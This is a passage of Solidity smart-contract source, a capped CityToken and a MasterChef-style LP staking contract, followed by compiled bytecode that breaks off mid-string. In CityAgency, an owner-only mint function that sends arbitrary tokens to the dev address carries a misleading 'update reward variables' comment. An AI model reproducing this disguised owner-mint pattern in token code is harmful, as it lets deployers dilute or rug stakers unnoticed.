_allowances[_msgSender()][spender].add(addedValue)); return true; } /** * @dev Atomically decreases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. * - `spender` must have allowance for the caller of at least * `subtractedValue`. */ function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } /** * @dev Moves tokens `amount` from `sender` to `recipient`. * * This is internal function is equivalent to {transfer}, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a {Transfer} event. * * Requirements: * * - `sender` cannot be the zero address. * - `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. */ function _transfer(address sender, address recipient, uint256 amount) internal virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } /** @dev Creates `amount` tokens and assigns them to `account`, increasing * the total supply. * * Emits a {Transfer} event with `from` set to the zero address. * * Requirements * * - `to` cannot be the zero address. */ function _mint(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: mint to the zero address"); _beforeTokenTransfer(address(0), account, amount); _totalSupply = _totalSupply.add(amount); _balances[account] = _balances[account].add(amount); emit Transfer(address(0), account, amount); } /** * @dev Destroys `amount` tokens from `account`, reducing the * total supply. * * Emits a {Transfer} event with `to` set to the zero address. * * Requirements * * - `account` cannot be the zero address. * - `account` must have at least `amount` tokens. */ function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); _beforeTokenTransfer(account, address(0), amount); _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance"); _totalSupply = _totalSupply.sub(amount); emit Transfer(account, address(0), amount); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens. * * This is internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */ function _approve(address owner, address spender, uint256 amount) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } /** * @dev Sets {decimals} to a value other than the default one of 18. * * WARNING: This function should only be called from the constructor. Most * applications that interact with token contracts will not expect * {decimals} to ever change, and may work incorrectly if it does. */ function _setupDecimals(uint8 decimals_) internal { _decimals = decimals_; } /** * @dev Hook that is called before any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens * will be to transferred to `to`. * - when `from` is zero, `amount` tokens will be minted for `to`. * - when `to` is zero, `amount` of ``from``'s tokens will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { } } // CityToken with Governance. contract CityToken is ERC20("CityToken", "CT"), Ownable { uint256 public constant MAX_SUPPLY = 6841000000 * 10**18; /** * @notice Creates `_amount` token to `_to`. Must only be called by the owner (TravelAgency). */ function mint(address _to, uint256 _amount) public onlyOwner { uint256 _totalSupply = totalSupply(); if(_totalSupply.add(_amount) > MAX_SUPPLY) { _amount = MAX_SUPPLY.sub(_totalSupply); } require(_totalSupply.add(_amount) <= MAX_SUPPLY); _mint(_to, _amount); } } contract CityAgency is Ownable { using SafeMath for uint256; using SafeERC20 for IERC20; // Info of each user. struct UserInfo { uint256 amount; // How many LP tokens the user has provided. uint256 rewardDebt; // Reward debt. See explanation below. // // We do some fancy math here. Basically, any point in time, the amount of CITYs // entitled to a user but is pending to be distributed is: // // pending reward = (user.amount * pool.accCityPerShare) - user.rewardDebt // // Whenever a user deposits or withdraws LP tokens to a pool. Here's what happens: // 1. The pool's `accCityPerShare` (and `lastRewardBlock`) gets updated. // 2. User receives the pending reward sent to his/her address. // 3. User's `amount` gets updated. // 4. User's `rewardDebt` gets updated. } // Info of each pool. struct PoolInfo { IERC20 lpToken; // Address of LP token contract. uint256 allocPoint; // How many allocation points assigned to this pool. CITYs to distribute per block. uint256 lastRewardBlock; // Last block number that CITYs distribution occurs. uint256 accCityPerShare; // Accumulated CITYs per share, times 1e12. See below. uint256 farmStartBlockNum; // StartBlockNum for Farming of each pool uint256 bonus1EndBlockNum; // bonus1EndBlockNum = farmStartBlockNum + 60480; 60480 = 6 * 60mins * 24hours * 7days uint256 bonus2EndBlockNum; // bonus2EndBlockNum = farmStartBlockNum + 120960; 120960 = 6 * 60mins * 24hours * 14days } // The CITY TOKEN! CityToken public city; // Dev address. address public devaddr; // CITY tokens created per block. uint256 public cityPerBlock; // Block number when Halving ends. uint256 public halvingEndBlock1; uint256 public halvingEndBlock2; // BonusMultiplier within 2 weeks. uint256 public constant BONUS_MULTIPLIER_1WEEK = 4; // first week bonus (farmStartBlockNum ~ bonus1EndBlockNum) uint256 public constant BONUS_MULTIPLIER_2WEEK = 2; // second week bonus (bonus1EndBlockNum ~ bonus2EndBlockNum) // Halving Blocknum uint256 public constant HALVING_MULTIPLIER_1 = 4; uint256 public constant HALVING_MULTIPLIER_2 = 2; // Info of each pool. PoolInfo[] public poolInfo; // Info of each user that stakes LP tokens. mapping (uint256 => mapping (address => UserInfo)) public userInfo; // Total allocation poitns. Must be the sum of all allocation points in all pools. uint256 public totalAllocPoint = 0; // The block number when CITY mining starts. uint256 public startBlock; // The block number when CITY mining ends. uint256 public endBlock; event Deposit(address indexed user, uint256 indexed pid, uint256 amount); event Withdraw(address indexed user, uint256 indexed pid, uint256 amount); event EmergencyWithdraw(address indexed user, uint256 indexed pid, uint256 amount); constructor( CityToken _city, address _devaddr, uint256 _cityPerBlock, uint256 _startBlock ) public { city = _city; devaddr = _devaddr; cityPerBlock = _cityPerBlock; startBlock = _startBlock; halvingEndBlock1 = startBlock.add(3153600); // 3153600 = 6 * 60mins * 24hours * 365days halvingEndBlock2 = startBlock.add(6307200); // 6307200 = 6 * 60mins * 24hours * 2years endBlock = startBlock.add(31536000); // 31536000 = 3153600 * 10years } function poolLength() external view returns (uint256) { return poolInfo.length; } // Add a new lp to the pool. Can only be called by the owner. // XXX DO NOT add the same LP token more than once. Rewards will be messed up if you do. function add(uint256 _allocPoint, uint256 _farmStartBlockNum, IERC20 _lpToken, bool _withUpdate) public onlyOwner { if (_withUpdate) { massUpdatePools(); } uint256 lastRewardBlock = block.number > startBlock ? block.number : startBlock; uint256 bonus1EndBlockNum = _farmStartBlockNum.add(60480); // 60480 = 6 * 60mins * 24hours * 7days uint256 bonus2EndBlockNum = _farmStartBlockNum.add(120960); // 120960 = 6 * 60mins * 24hours * 14days if(lastRewardBlock < _farmStartBlockNum) { lastRewardBlock = _farmStartBlockNum; } totalAllocPoint = totalAllocPoint.add(_allocPoint); poolInfo.push(PoolInfo({ lpToken: _lpToken, allocPoint: _allocPoint, lastRewardBlock: lastRewardBlock, accCityPerShare: 0, farmStartBlockNum: _farmStartBlockNum, bonus1EndBlockNum: bonus1EndBlockNum, bonus2EndBlockNum: bonus2EndBlockNum })); } // Update the given pool's CITY allocation point. Can only be called by the owner. function set(uint256 _pid, uint256 _allocPoint, bool _withUpdate) public onlyOwner { if (_withUpdate) { massUpdatePools(); } totalAllocPoint = totalAllocPoint.sub(poolInfo[_pid].allocPoint).add(_allocPoint); poolInfo[_pid].allocPoint = _allocPoint; } // Return reward multiplier over the given _from to _to block. function getMultiplier(uint256 _from, uint256 _to, uint256 _bonus1EndBlockNum, uint256 _bonus2EndBlockNum, uint256 _bonusMul1, uint256 _bonusMul2) public view returns (uint256) { if (_from <= _bonus1EndBlockNum) { if (_to <= _bonus1EndBlockNum) { return _to.sub(_from).mul(_bonusMul1); } else if (_to <= _bonus2EndBlockNum) { return _bonus1EndBlockNum.sub(_from).mul(_bonusMul1).add( _to.sub(_bonus1EndBlockNum).mul(_bonusMul2)); } else { return _bonus1EndBlockNum.sub(_from).mul(_bonusMul1).add( _bonus2EndBlockNum.sub(_bonus1EndBlockNum).mul(_bonusMul2)).add( _to.sub(_bonus2EndBlockNum)); } } else if (_from <= _bonus2EndBlockNum) { if (_to <= _bonus2EndBlockNum) { return _to.sub(_from).mul(_bonusMul2); } else { return _bonus2EndBlockNum.sub(_from).mul(_bonusMul2).add( _to.sub(_bonus2EndBlockNum)); } } else { return _to.sub(_from); } } // View function to see pending CITYs on frontend. function pendingCity(uint256 _pid, address _user) external view returns (uint256) { PoolInfo storage pool = poolInfo[_pid]; UserInfo storage user = userInfo[_pid][_user]; uint256 accCityPerShare = pool.accCityPerShare; uint256 farmStartBlockNum = pool.farmStartBlockNum; uint256 lpSupply = pool.lpToken.balanceOf(address(this)); if (block.number > farmStartBlockNum && block.number > pool.lastRewardBlock && lpSupply != 0) { uint256 multiplier1 = getMultiplier(pool.lastRewardBlock, block.number, pool.bonus1EndBlockNum, pool.bonus2EndBlockNum, BONUS_MULTIPLIER_1WEEK, BONUS_MULTIPLIER_2WEEK); uint256 multiplier2 = getMultiplier(pool.lastRewardBlock, block.number, halvingEndBlock1, halvingEndBlock2, HALVING_MULTIPLIER_1, HALVING_MULTIPLIER_2); uint256 cityReward = multiplier1.mul(multiplier2).mul(cityPerBlock).mul(pool.allocPoint).div(totalAllocPoint).div(block.number.sub(pool.lastRewardBlock)); accCityPerShare = accCityPerShare.add(cityReward.mul(1e12).div(lpSupply)); } return user.amount.mul(accCityPerShare).div(1e12).sub(user.rewardDebt); } // Update reward vairables for all pools. Be careful of gas spending! function massUpdatePools() public { uint256 length = poolInfo.length; for (uint256 pid = 0; pid < length; ++pid) { updatePool(pid); } } // Update reward variables of the given pool to be up-to-date. function mint(uint256 amount) public onlyOwner{ city.mint(devaddr, amount); } // Update reward variables of the given pool to be up-to-date. function updatePool(uint256 _pid) public { PoolInfo storage pool = poolInfo[_pid]; if (block.number <= pool.lastRewardBlock) { return; } if (block.number <= pool.farmStartBlockNum) { return; } uint256 lpSupply = pool.lpToken.balanceOf(address(this)); if (lpSupply == 0) { pool.lastRewardBlock = block.number; return; } uint256 multiplier1 = getMultiplier(pool.lastRewardBlock, block.number, pool.bonus1EndBlockNum, pool.bonus2EndBlockNum, BONUS_MULTIPLIER_1WEEK, BONUS_MULTIPLIER_2WEEK); uint256 multiplier2 = getMultiplier(pool.lastRewardBlock, block.number, halvingEndBlock1, halvingEndBlock2, HALVING_MULTIPLIER_1, HALVING_MULTIPLIER_2); uint256 cityReward = multiplier1.mul(multiplier2).mul(cityPerBlock).mul(pool.allocPoint).div(totalAllocPoint).div(block.number.sub(pool.lastRewardBlock)); city.mint(devaddr, cityReward.div(20)); // 5% city.mint(address(this), cityReward); pool.accCityPerShare = pool.accCityPerShare.add(cityReward.mul(1e12).div(lpSupply)); pool.lastRewardBlock = block.number; } // Get current state function getBurningInform(uint256 _pid) external view returns (uint256) { PoolInfo storage pool = poolInfo[_pid]; if (block.number >= pool.farmStartBlockNum) { if(block.number < pool.bonus1EndBlockNum) { return BONUS_MULTIPLIER_1WEEK; } else if (block.number < pool.bonus2EndBlockNum) { return BONUS_MULTIPLIER_2WEEK; } else { return 1; } } else { return 0; } } // Deposit LP tokens to TravelAgency for CITY allocation. function deposit(uint256 _pid, uint256 _amount) public { PoolInfo storage pool = poolInfo[_pid]; UserInfo storage user = userInfo[_pid][msg.sender]; updatePool(_pid); if (user.amount > 0) { uint256 pending = user.amount.mul(pool.accCityPerShare).div(1e12).sub(user.rewardDebt); safeCityTransfer(msg.sender, pending); } pool.lpToken.safeTransferFrom(address(msg.sender), address(this), _amount); user.amount = user.amount.add(_amount); user.rewardDebt = user.amount.mul(pool.accCityPerShare).div(1e12); emit Deposit(msg.sender, _pid, _amount); } // Withdraw LP tokens from MasterChef. function withdraw(uint256 _pid, uint256 _amount) public { PoolInfo storage pool = poolInfo[_pid]; UserInfo storage user = userInfo[_pid][msg.sender]; require(user.amount >= _amount, "withdraw: not good"); updatePool(_pid); uint256 pending = user.amount.mul(pool.accCityPerShare).div(1e12).sub(user.rewardDebt); safeCityTransfer(msg.sender, pending); user.amount = user.amount.sub(_amount); user.rewardDebt = user.amount.mul(pool.accCityPerShare).div(1e12); pool.lpToken.safeTransfer(address(msg.sender), _amount); emit Withdraw(msg.sender, _pid, _amount); } // Withdraw without caring about rewards. EMERGENCY ONLY. function emergencyWithdraw(uint256 _pid) public { PoolInfo storage pool = poolInfo[_pid]; UserInfo storage user = userInfo[_pid][msg.sender]; pool.lpToken.safeTransfer(address(msg.sender), user.amount); emit EmergencyWithdraw(msg.sender, _pid, user.amount); user.amount = 0; user.rewardDebt = 0; } // Safe city transfer function, just in case if rounding error causes pool to not have enough CITYs. function safeCityTransfer(address _to, uint256 _amount) internal { uint256 cityBal = city.balanceOf(address(this)); if (_amount > cityBal) { city.transfer(_to, cityBal); } else { city.transfer(_to, _amount); } } // Update dev address by the previous dev. function dev(address _devaddr) public { require(msg.sender == devaddr, "dev: wut?"); devaddr = _devaddr; } }
0x608060405234801561001057600080fd5b50600436106101da5760003560e01c806364482f7911610104578063d49e77cd116100a2578063e2bbb15811610071578063e2bbb15814610738578063ef0635d514610770578063f2fde38b1461078e578063fd0160fe146107d2576101da565b8063d49e77cd14610640578063dbd3a87d14610674578063defc107414610692578063e07fe07f146106f6576101da565b80638d88a90e116100de5780638d88a90e146105315780638da5cb5b1461057557806393f1a40b146105a9578063a0712d6814610612576101da565b806364482f791461046f57806367759aa2146104b3578063715018a614610527576101da565b8063441a3e701161017c5780635312ea8e1161014b5780635312ea8e146103fb5780635984ec14146104295780635b52cc0114610447578063630b5ba114610465576101da565b8063441a3e701461035957806348cd4cb11461039157806351eb05a6146103af5780635280463d146103dd576101da565b80631526fe27116101b85780631526fe271461023957806317caf6f1146102bb57806329467c6e146102d95780633e89d1021461033b576101da565b8063081e3eda146101df578063083c6323146101fd578063115b74891461021b575b600080fd5b6101e7610806565b6040518082815260200191505060405180910390f35b610205610813565b6040518082815260200191505060405180910390f35b610223610819565b6040518082815260200191505060405180910390f35b6102656004803603602081101561024f57600080fd5b810190808035906020019092919050505061081e565b604051808873ffffffffffffffffffffffffffffffffffffffff16815260200187815260200186815260200185815260200184815260200183815260200182815260200197505050505050505060405180910390f35b6102c361088d565b6040518082815260200191505060405180910390f35b610325600480360360408110156102ef57600080fd5b8101908080359060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610893565b6040518082815260200191505060405180910390f35b610343610b53565b6040518082815260200191505060405180910390f35b61038f6004803603604081101561036f57600080fd5b810190808035906020019092919080359060200190929190505050610b59565b005b610399610da3565b6040518082815260200191505060405180910390f35b6103db600480360360208110156103c557600080fd5b8101908080359060200190929190505050610da9565b005b6103e561116b565b6040518082815260200191505060405180910390f35b6104276004803603602081101561041157600080fd5b8101908080359060200190929190505050611170565b005b6104316112a2565b6040518082815260200191505060405180910390f35b61044f6112a8565b6040518082815260200191505060405180910390f35b61046d6112ae565b005b6104b16004803603606081101561048557600080fd5b8101908080359060200190929190803590602001909291908035151590602001909291905050506112db565b005b610511600480360360c08110156104c957600080fd5b81019080803590602001909291908035906020019092919080359060200190929190803590602001909291908035906020019092919080359060200190929190505050611425565b6040518082815260200191505060405180910390f35b61052f6115fa565b005b6105736004803603602081101561054757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611780565b005b61057d611887565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6105f5600480360360408110156105bf57600080fd5b8101908080359060200190929190803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506118b0565b604051808381526020018281526020019250505060405180910390f35b61063e6004803603602081101561062857600080fd5b81019080803590602001909291905050506118e1565b005b610648611a79565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b61067c611a9f565b6040518082815260200191505060405180910390f35b6106f4600480360360808110156106a857600080fd5b810190808035906020019092919080359060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803515159060200190929190505050611aa4565b005b6107226004803603602081101561070c57600080fd5b8101908080359060200190929190505050611cef565b6040518082815260200191505060405180910390f35b61076e6004803603604081101561074e57600080fd5b810190808035906020019092919080359060200190929190505050611d5b565b005b610778611f3b565b6040518082815260200191505060405180910390f35b6107d0600480360360208110156107a457600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611f40565b005b6107da61214b565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6000600680549050905090565b600a5481565b600481565b6006818154811061082b57fe5b90600052602060002090600702016000915090508060000160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16908060010154908060020154908060030154908060040154908060050154908060060154905087565b60085481565b600080600684815481106108a357fe5b9060005260206000209060070201905060006007600086815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020905060008260030154905060008360040154905060008460000160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff1660e01b8152600401808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060206040518083038186803b1580156109a657600080fd5b505afa1580156109ba573d6000803e3d6000fd5b505050506040513d60208110156109d057600080fd5b8101908080519060200190929190505050905081431180156109f55750846002015443115b8015610a02575060008114155b15610b02576000610a258660020154438860050154896006015460046002611425565b90506000610a4187600201544360045460055460046002611425565b90506000610abe610a5f8960020154436121f990919063ffffffff16565b610ab0600854610aa28c60010154610a94600354610a868a8c61224390919063ffffffff16565b61224390919063ffffffff16565b61224390919063ffffffff16565b6122c990919063ffffffff16565b6122c990919063ffffffff16565b9050610afc610aed85610adf64e8d4a510008561224390919063ffffffff16565b6122c990919063ffffffff16565b8761217190919063ffffffff16565b95505050505b610b468460010154610b3864e8d4a51000610b2a87896000015461224390919063ffffffff16565b6122c990919063ffffffff16565b6121f990919063ffffffff16565b9550505050505092915050565b60045481565b600060068381548110610b6857fe5b9060005260206000209060070201905060006007600085815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002090508281600001541015610c46576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260128152602001807f77697468647261773a206e6f7420676f6f64000000000000000000000000000081525060200191505060405180910390fd5b610c4f84610da9565b6000610c998260010154610c8b64e8d4a51000610c7d8760030154876000015461224390919063ffffffff16565b6122c990919063ffffffff16565b6121f990919063ffffffff16565b9050610ca53382612313565b610cbc8483600001546121f990919063ffffffff16565b8260000181905550610cf664e8d4a51000610ce88560030154856000015461224390919063ffffffff16565b6122c990919063ffffffff16565b8260010181905550610d4d33858560000160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1661258c9092919063ffffffff16565b843373ffffffffffffffffffffffffffffffffffffffff167ff279e6a1f5e320cca91135676d9cb6e44ca8a08c0b88342bcdb1144f6511b568866040518082815260200191505060405180910390a35050505050565b60095481565b600060068281548110610db857fe5b9060005260206000209060070201905080600201544311610dd95750611168565b80600401544311610dea5750611168565b60008160000160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff1660e01b8152600401808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060206040518083038186803b158015610e7757600080fd5b505afa158015610e8b573d6000803e3d6000fd5b505050506040513d6020811015610ea157600080fd5b810190808051906020019092919050505090506000811415610ecd574382600201819055505050611168565b6000610eeb8360020154438560050154866006015460046002611425565b90506000610f0784600201544360045460055460046002611425565b90506000610f84610f258660020154436121f990919063ffffffff16565b610f76600854610f688960010154610f5a600354610f4c8a8c61224390919063ffffffff16565b61224390919063ffffffff16565b61224390919063ffffffff16565b6122c990919063ffffffff16565b6122c990919063ffffffff16565b9050600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166340c10f19600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16610ffb6014856122c990919063ffffffff16565b6040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050600060405180830381600087803b15801561104e57600080fd5b505af1158015611062573d6000803e3d6000fd5b50505050600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166340c10f1930836040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050600060405180830381600087803b1580156110f957600080fd5b505af115801561110d573d6000803e3d6000fd5b5050505061115161113e8561113064e8d4a510008561224390919063ffffffff16565b6122c990919063ffffffff16565b866003015461217190919063ffffffff16565b856003018190555043856002018190555050505050505b50565b600281565b60006006828154811061117f57fe5b9060005260206000209060070201905060006007600084815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002090506112363382600001548460000160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1661258c9092919063ffffffff16565b823373ffffffffffffffffffffffffffffffffffffffff167fbb757047c2b5f3974fe26b7c10f732e7bce710b0952a71082702781e62ae059583600001546040518082815260200191505060405180910390a36000816000018190555060008160010181905550505050565b60035481565b60055481565b6000600680549050905060005b818110156112d7576112cc81610da9565b8060010190506112bb565b5050565b6112e361262e565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146113a3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b80156113b2576113b16112ae565b5b6113f7826113e9600686815481106113c657fe5b9060005260206000209060070201600101546008546121f990919063ffffffff16565b61217190919063ffffffff16565b600881905550816006848154811061140b57fe5b906000526020600020906007020160010181905550505050565b6000848711611550578486116114615761145a8361144c89896121f990919063ffffffff16565b61224390919063ffffffff16565b90506115f0565b8386116114ca576114c361149083611482888a6121f990919063ffffffff16565b61224390919063ffffffff16565b6114b5856114a78b8a6121f990919063ffffffff16565b61224390919063ffffffff16565b61217190919063ffffffff16565b90506115f0565b6115496114e085886121f990919063ffffffff16565b61153b611508856114fa8a8a6121f990919063ffffffff16565b61224390919063ffffffff16565b61152d8761151f8d8c6121f990919063ffffffff16565b61224390919063ffffffff16565b61217190919063ffffffff16565b61217190919063ffffffff16565b90506115f0565b8387116115da5783861161158a576115838261157589896121f990919063ffffffff16565b61224390919063ffffffff16565b90506115f0565b6115d36115a085886121f990919063ffffffff16565b6115c5846115b78b896121f990919063ffffffff16565b61224390919063ffffffff16565b61217190919063ffffffff16565b90506115f0565b6115ed87876121f990919063ffffffff16565b90505b9695505050505050565b61160261262e565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146116c2576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614611843576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260098152602001807f6465763a207775743f000000000000000000000000000000000000000000000081525060200191505060405180910390fd5b80600260006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6007602052816000526040600020602052806000526040600020600091509150508060000154908060010154905082565b6118e961262e565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146119a9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166340c10f19600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16836040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050600060405180830381600087803b158015611a5e57600080fd5b505af1158015611a72573d6000803e3d6000fd5b5050505050565b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600481565b611aac61262e565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611b6c576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b8015611b7b57611b7a6112ae565b5b60006009544311611b8e57600954611b90565b435b90506000611ba961ec408661217190919063ffffffff16565b90506000611bc36201d8808761217190919063ffffffff16565b905085831015611bd1578592505b611be68760085461217190919063ffffffff16565b60088190555060066040518060e001604052808773ffffffffffffffffffffffffffffffffffffffff1681526020018981526020018581526020016000815260200188815260200184815260200183815250908060018154018082558091505060019003906000526020600020906007020160009091909190915060008201518160000160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506020820151816001015560408201518160020155606082015181600301556080820151816004015560a0820151816005015560c08201518160060155505050505050505050565b60008060068381548110611cff57fe5b9060005260206000209060070201905080600401544310611d50578060050154431015611d30576004915050611d56565b8060060154431015611d46576002915050611d56565b6001915050611d56565b60009150505b919050565b600060068381548110611d6a57fe5b9060005260206000209060070201905060006007600085815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000209050611dd784610da9565b600081600001541115611e3c576000611e2e8260010154611e2064e8d4a51000611e128760030154876000015461224390919063ffffffff16565b6122c990919063ffffffff16565b6121f990919063ffffffff16565b9050611e3a3382612313565b505b611e8d3330858560000160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16612636909392919063ffffffff16565b611ea483826000015461217190919063ffffffff16565b8160000181905550611ede64e8d4a51000611ed08460030154846000015461224390919063ffffffff16565b6122c990919063ffffffff16565b8160010181905550833373ffffffffffffffffffffffffffffffffffffffff167f90890809c654f11d6e72a28fa60149770a0d11ec6c92319d6ceb2bb0a4ea1a15856040518082815260200191505060405180910390a350505050565b600281565b611f4861262e565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614612008576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16141561208e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526026815260200180612bd66026913960400191505060405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000808284019050838110156121ef576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f536166654d6174683a206164646974696f6e206f766572666c6f77000000000081525060200191505060405180910390fd5b8091505092915050565b600061223b83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506126f7565b905092915050565b60008083141561225657600090506122c3565b600082840290508284828161226757fe5b04146122be576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526021815260200180612bfc6021913960400191505060405180910390fd5b809150505b92915050565b600061230b83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506127b7565b905092915050565b6000600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff1660e01b8152600401808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060206040518083038186803b15801561239e57600080fd5b505afa1580156123b2573d6000803e3d6000fd5b505050506040513d60208110156123c857600080fd5b81019080805190602001909291905050509050808211156124b757600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663a9059cbb84836040518363ffffffff1660e01b8152600401808373ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b15801561247657600080fd5b505af115801561248a573d6000803e